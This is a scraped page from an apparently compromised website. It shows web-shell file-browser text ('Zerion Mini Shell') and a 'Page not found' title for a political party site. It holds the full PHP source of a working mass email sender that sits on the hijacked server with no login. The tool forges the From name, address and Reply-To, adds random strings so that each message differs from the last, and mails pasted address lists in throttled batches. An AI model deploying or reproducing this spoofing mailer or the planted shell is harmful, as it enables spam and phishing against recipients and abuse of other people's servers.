%PDF-
%PDF-
Mini Shell
Mini Shell
Direktori : / dom645759 /
Current File : /dom645759/adchar.php
<?php
/**
* Professional Mass Email Sender By @β»Entropydrift - SERVER MAIL ONLY
* Uses server's built-in mail system (sendmail/postfix)
* Version: 5.0.0 - Force Server Mail
*/
error_reporting(E_ALL);
ini_set('display_errors', 1);
set_time_limit(0);
ini_set('memory_limit', '512M');
// ============================================
// FUNCTIONS
// ============================================
function randString($consonants, $length = null) {
if ($length === null) {
$length = rand(12, 25);
}
$password = '';
$max = strlen($consonants) - 1;
for ($i = 0; $i < $length; $i++) {
$password .= $consonants[rand(0, $max)];
}
return $password;
}
function lufClear($text, $email) {
$e = explode('@', $email);
$emailuser = $e[0] ?? '';
$emaildomain = $e[1] ?? '';
$text = str_replace("[-time-]", date("m/d/Y h:i:s a"), $text);
$text = str_replace("[-email-]", $email, $text);
$text = str_replace("[-emailuser-]", $emailuser, $text);
$text = str_replace("[-emaildomain-]", $emaildomain, $text);
$text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
$text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
$text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
$text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
$text = str_replace("[-date-]", date("d/m/Y"), $text);
return $text;
}
function lrtrim($string) {
return stripslashes(trim($string));
}
function generateRandomString($matches) {
$length = intval($matches[3] ?? 8);
$PATTERN = str_replace('-', '', $matches[2] ?? 'az09');
$characters = '';
if (strpos($PATTERN, '09') !== false) $characters .= '0123456789';
if (strpos($PATTERN, 'az') !== false) $characters .= 'abcdefghijklmnopqrstuvwxyz';
if (strpos($PATTERN, 'AZ') !== false) $characters .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
if (empty($characters)) $characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
$result = '';
$max = strlen($characters) - 1;
for ($i = 0; $i < $length; $i++) {
$result .= $characters[rand(0, $max)];
}
return $result;
}
// Get hosting domain
function getHostingDomain() {
$host = $_SERVER['HTTP_HOST'] ?? $_SERVER['SERVER_NAME'] ?? 'localhost';
// Remove port if present
$host = preg_replace('/:\d+$/', '', $host);
// Remove www. if present
$host = preg_replace('/^www\./', '', $host);
return $host;
}
// ============================================
// SEND FUNCTION - SERVER MAIL ONLY
// ============================================
function sendEmailServer($to, $subject, $message, $from, $fromName, $replyto = '', $isHtml = true) {
// Clean inputs
$to = trim($to);
$subject = trim($subject);
$from = trim($from);
$fromName = trim($fromName);
// Build proper headers
$headers = array();
$headers[] = "MIME-Version: 1.0";
$headers[] = "Content-Type: text/" . ($isHtml ? 'html' : 'plain') . "; charset=UTF-8";
$headers[] = "Content-Transfer-Encoding: 8bit";
// IMPORTANT: From header with name - this is what recipients see
if (!empty($fromName)) {
$headers[] = "From: " . $fromName . " <" . $from . ">";
} else {
$headers[] = "From: " . $from;
}
// Reply-To
if (!empty($replyto)) {
$headers[] = "Reply-To: " . $replyto;
}
// Additional headers to improve deliverability
$headers[] = "Return-Path: " . $from;
$headers[] = "X-Mailer: PHP/" . phpversion();
$headers[] = "Date: " . date('r');
// Join headers
$headersStr = implode("\r\n", $headers);
// Send with additional parameters for sendmail
$params = "-f " . $from;
// Try to send
$result = mail($to, $subject, $message, $headersStr, $params);
// If that fails, try without params
if (!$result) {
$result = mail($to, $subject, $message, $headersStr);
}
// If still fails, try with minimal headers
if (!$result) {
$minHeaders = "From: " . $from . "\r\n";
$minHeaders .= "Content-Type: text/" . ($isHtml ? 'html' : 'plain') . "; charset=UTF-8\r\n";
$result = mail($to, $subject, $message, $minHeaders);
}
return $result;
}
// ============================================
// INITIALIZE VARIABLES
// ============================================
$domain = getHostingDomain();
$defaultFrom = "support@" . $domain;
$message_base = "Hello [-emailuser-],<br><br>This is a test message.<br><br>Regards,<br>Support Team";
$action = "";
$emaillist = "test@example.com";
$from = $defaultFrom; // Auto-set to support@domain
$replyto = "";
$subject = "Hello [-emailuser-]";
$realname = "Support Team";
$subject_base = "Hello [-emailuser-]";
$realname_base = "Support Team";
$contenttype = "html";
$debg = "0";
$pause = 0;
$pemails = 0;
$nrotat = 0;
$reconnect = 0;
// ============================================
// PROCESS POST DATA
// ============================================
if (!empty($_POST)) {
$debg = lrtrim($_POST['dbg'] ?? '0');
$from = lrtrim($_POST['from'] ?? $defaultFrom);
$replyto = lrtrim($_POST['replyto'] ?? '');
$action = lrtrim($_POST['action'] ?? '');
$message_base = lrtrim($_POST['message'] ?? '');
$emaillist = lrtrim($_POST['emaillist'] ?? '');
$subject_base = lrtrim($_POST['subject'] ?? '');
$realname_base = lrtrim($_POST['realname'] ?? '');
$contenttype = lrtrim($_POST['contenttype'] ?? 'html');
$pause = intval($_POST['pause'] ?? 0);
$pemails = intval($_POST['pemails'] ?? 0);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Mass Email Sender - Server Mail By @Entropydrift </title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style>
* { box-sizing: border-box; }
body { font-family: Arial, Helvetica, sans-serif; background: #f0f2f5; margin: 0; padding: 20px; }
.container { max-width: 1100px; margin: 0 auto; background: #fff; padding: 25px; border-radius: 10px; box-shadow: 0 2px 15px rgba(0,0,0,0.1); }
h1 { color: #003087; border-bottom: 3px solid #003087; padding-bottom: 10px; margin-top: 0; }
h2 { color: #003087; font-size: 15px; margin: 5px 0; }
.header-bar { background: #003087; color: #fff; padding: 10px 18px; border-radius: 5px; margin-bottom: 15px; }
.header-bar h2 { color: #fff; margin: 0; }
label { font-weight: bold; font-size: 12px; color: #333; display: block; margin-bottom: 2px; }
input[type="text"], input[type="password"], textarea, select {
border: 1px solid #ccc; padding: 6px 10px; border-radius: 4px; font-size: 13px; width: 100%;
}
input[type="text"]:focus, textarea:focus { border-color: #003087; outline: none; }
textarea { font-family: monospace; resize: vertical; }
.btn {
background: #003087; color: #fff; border: none; padding: 10px 30px;
border-radius: 4px; cursor: pointer; font-weight: bold; font-size: 15px;
}
.btn:hover { background: #002266; }
.btn-danger { background: #cc0000; }
.btn-danger:hover { background: #990000; }
.btn-success { background: #28a745; }
.btn-success:hover { background: #1e7e34; }
.row { display: flex; gap: 15px; margin-bottom: 5px; }
.col { flex: 1; }
.required { color: red; }
.small-text { font-size: 11px; color: #666; }
.help-box { background: #f8f9fa; border: 1px solid #ddd; padding: 15px; border-radius: 5px; margin-top: 20px; }
.help-box ul { margin: 5px 0 5px 20px; }
.help-box li { margin: 3px 0; }
#more { display: none; }
.highlight { background: #d4edda; padding: 10px; border-radius: 5px; border: 1px solid #28a745; margin: 10px 0; }
.highlight strong { color: #155724; }
</style>
</head>
<body>
<div class="container">
<h1>π§ Mass Email Sender By Adchar @Entropydrift</h1>
<div class="highlight">
<strong>β
Server Mail Mode:</strong> Using your server's built-in mail system (sendmail/postfix).
No SMTP configuration needed. Emails will be sent from your server.
</div>
<form method="post" action="" enctype="multipart/form-data">
<!-- MESSAGE SETUP -->
<div class="header-bar"><h2>βοΈ MESSAGE SETUP</h2></div>
<div class="row">
<div class="col">
<label>From Email <span class="required">*</span></label>
<input type="text" name="from" value="<?php echo htmlspecialchars($from); ?>" placeholder="support@yourdomain.com" required>
<span class="small-text">Auto-set to: <?php echo htmlspecialchars($defaultFrom); ?></span>
</div>
<div class="col">
<label>From Name <span class="required">*</span></label>
<input type="text" name="realname" value="<?php echo htmlspecialchars($realname_base); ?>" placeholder="Your Company Name" required>
<span class="small-text">What recipients see as the sender name</span>
</div>
</div>
<div class="row">
<div class="col">
<label>Reply-To</label>
<input type="text" name="replyto" value="<?php echo htmlspecialchars($replyto); ?>" placeholder="reply@example.com">
</div>
<div class="col">
<label>Subject <span class="required">*</span></label>
<input type="text" name="subject" value="<?php echo htmlspecialchars($subject_base); ?>" required>
</div>
</div>
<div class="row">
<div class="col">
<label>Content Type</label>
<select name="contenttype">
<option value="html" <?php if($contenttype == "html") echo "selected"; ?>>HTML</option>
<option value="plain" <?php if($contenttype == "plain") echo "selected"; ?>>Plain Text</option>
</select>
</div>
<div class="col">
<label>Pause every</label>
<input type="text" name="pause" value="<?php echo $pause; ?>" size="5"> sec after
<input type="text" name="pemails" value="<?php echo $pemails; ?>" size="5"> emails
</div>
</div>
<div class="row">
<div class="col" style="flex:2;">
<label>Message Body <span class="required">*</span></label>
<textarea name="message" rows="8" required><?php echo htmlspecialchars($message_base); ?></textarea>
</div>
</div>
<br>
<!-- RECIPIENTS -->
<div class="header-bar"><h2>π RECIPIENTS</h2></div>
<div class="row">
<div class="col" style="flex:2;">
<label>Email List (one per line) <span class="required">*</span></label>
<textarea name="emaillist" rows="10" required><?php echo htmlspecialchars($emaillist); ?></textarea>
<span class="small-text">Enter one email address per line</span>
</div>
<div class="col" style="background:#f8f9fa; padding:15px; border-radius:5px; border:1px solid #ddd;">
<h4 style="margin-top:0;">π Dynamic Tags</h4>
<ul style="font-size:12px; line-height:1.8; padding-left:20px;">
<li><b>[-email-]</b> - Full email</li>
<li><b>[-emailuser-]</b> - Username</li>
<li><b>[-emaildomain-]</b> - Domain</li>
<li><b>[-time-]</b> - Current time</li>
<li><b>[-date-]</b> - Current date</li>
<li><b>[-randomstring-]</b> - Random string</li>
<li><b>[-randomnumber-]</b> - Random number</li>
<li><b>[-randommd5-]</b> - Random MD5</li>
<li><b>[-randomletters-]</b> - Random letters</li>
</ul>
<p style="font-size:11px; color:#666;">Pattern: ##az-09-{5}## generates random</p>
</div>
</div>
<div style="text-align:center; padding-top:20px;">
<input type="hidden" name="action" value="send">
<button type="submit" class="btn" style="font-size:18px; padding:15px 50px;">π Send Mass Email</button>
</div>
</form>
<!-- HELP -->
<div class="help-box">
<h4>π How It Works</h4>
<ul>
<li><b>No SMTP required</b> - Uses your server's built-in mail system</li>
<li><b>From Name</b> - Recipients will see the name you enter</li>
<li><b>From Email</b> - Auto-set to support@yourdomain.com</li>
<li><b>Dynamic Tags</b> - Personalize each email with recipient data</li>
</ul>
</div>
<div style="margin-top:20px; text-align:center; font-size:11px; color:#888; border-top:1px solid #ddd; padding-top:15px;">
Mass Email Sender © <?php echo date("Y"); ?>
</div>
</div>
</body>
</html>
<?php
// ============================================
// PROCESS SEND ACTION
// ============================================
if ($action == 'send') {
// Validate
if (empty($from) || empty($subject_base) || empty($message_base) || empty($emaillist)) {
echo '<div style="color:red;font-weight:bold;padding:20px;border:2px solid red;border-radius:5px;margin:20px 0;">';
echo 'β ERROR: Please fill all required fields (From, Subject, Message, and Email List)';
echo '</div>';
exit;
}
// Validate From Email
if (!filter_var($from, FILTER_VALIDATE_EMAIL)) {
echo '<div style="color:red;font-weight:bold;padding:20px;border:2px solid red;border-radius:5px;margin:20px 0;">';
echo 'β ERROR: Invalid "From Email" address: ' . htmlspecialchars($from);
echo '</div>';
exit;
}
// Parse emails
$allemails = preg_split("/\\r\\n|\\r|\\n/", $emaillist);
$allemails = array_filter($allemails, function($email) {
$email = trim($email);
return !empty($email) && filter_var($email, FILTER_VALIDATE_EMAIL);
});
$allemails = array_values($allemails);
$numemails = count($allemails);
if ($numemails == 0) {
echo '<div style="color:red;font-weight:bold;padding:20px;border:2px solid red;border-radius:5px;margin:20px 0;">';
echo 'β ERROR: No valid email addresses found in the list';
echo '</div>';
exit;
}
// Start sending
echo '<div style="background:#f5f5f5;padding:20px;border-radius:5px;font-family:monospace;margin-top:20px;">';
echo '<h3>π§ Sending emails using server mail...</h3>';
echo "<p><strong>From:</strong> " . htmlspecialchars($realname_base) . " <" . htmlspecialchars($from) . "></p>";
echo "<p><strong>Total Recipients:</strong> $numemails</p>";
echo "<p><strong>Started:</strong> " . date('Y-m-d H:i:s') . "</p><hr>";
flush();
$success = 0;
$fail = 0;
$count = 0;
$batch = 0;
foreach ($allemails as $to) {
$count++;
$batch++;
$to = trim($to);
// Parse content for this recipient
$currentSubject = preg_replace_callback('/(##([a-zA-Z0-9\-]+)\{([0-9]+)\}##)/', "generateRandomString", $subject_base);
$currentSubject = lufClear($currentSubject, $to);
$currentMessage = preg_replace_callback('/(##([a-zA-Z0-9\-]+)\{([0-9]+)\}##)/', "generateRandomString", $message_base);
$currentMessage = lufClear($currentMessage, $to);
$currentName = preg_replace_callback('/(##([a-zA-Z0-9\-]+)\{([0-9]+)\}##)/', "generateRandomString", $realname_base);
$currentName = lufClear($currentName, $to);
$isHtml = ($contenttype == 'html');
// Send using server mail
$result = sendEmailServer($to, $currentSubject, $currentMessage, $from, $currentName, $replyto, $isHtml);
if ($result) {
$success++;
echo "<span style='color:green;'>β
</span> [$count/$numemails] $to <span style='color:green;'>β Sent</span> (From: " . htmlspecialchars($currentName) . ")<br>";
} else {
$fail++;
echo "<span style='color:red;'>β</span> [$count/$numemails] $to <span style='color:red;'>β Failed</span><br>";
}
flush();
// Pause between batches
if ($pause > 0 && $pemails > 0 && $batch >= $pemails && $count < $numemails) {
echo "<br><span style='color:blue;'>β³ Pausing for $pause seconds...</span><br><br>";
flush();
sleep($pause);
$batch = 0;
}
}
echo "<hr>";
echo "<h4>π Summary</h4>";
echo "<p><strong>Total:</strong> $numemails</p>";
echo "<p><span style='color:green;'><strong>Success:</strong> $success</span></p>";
echo "<p><span style='color:red;'><strong>Failed:</strong> $fail</span></p>";
echo "<p><strong>Completed:</strong> " . date('Y-m-d H:i:s') . "</p>";
echo '</div>';
}
?> Zerion Mini Shell 1.0
Page not found – Jefferson County Republican Party
Skip to content
Page load link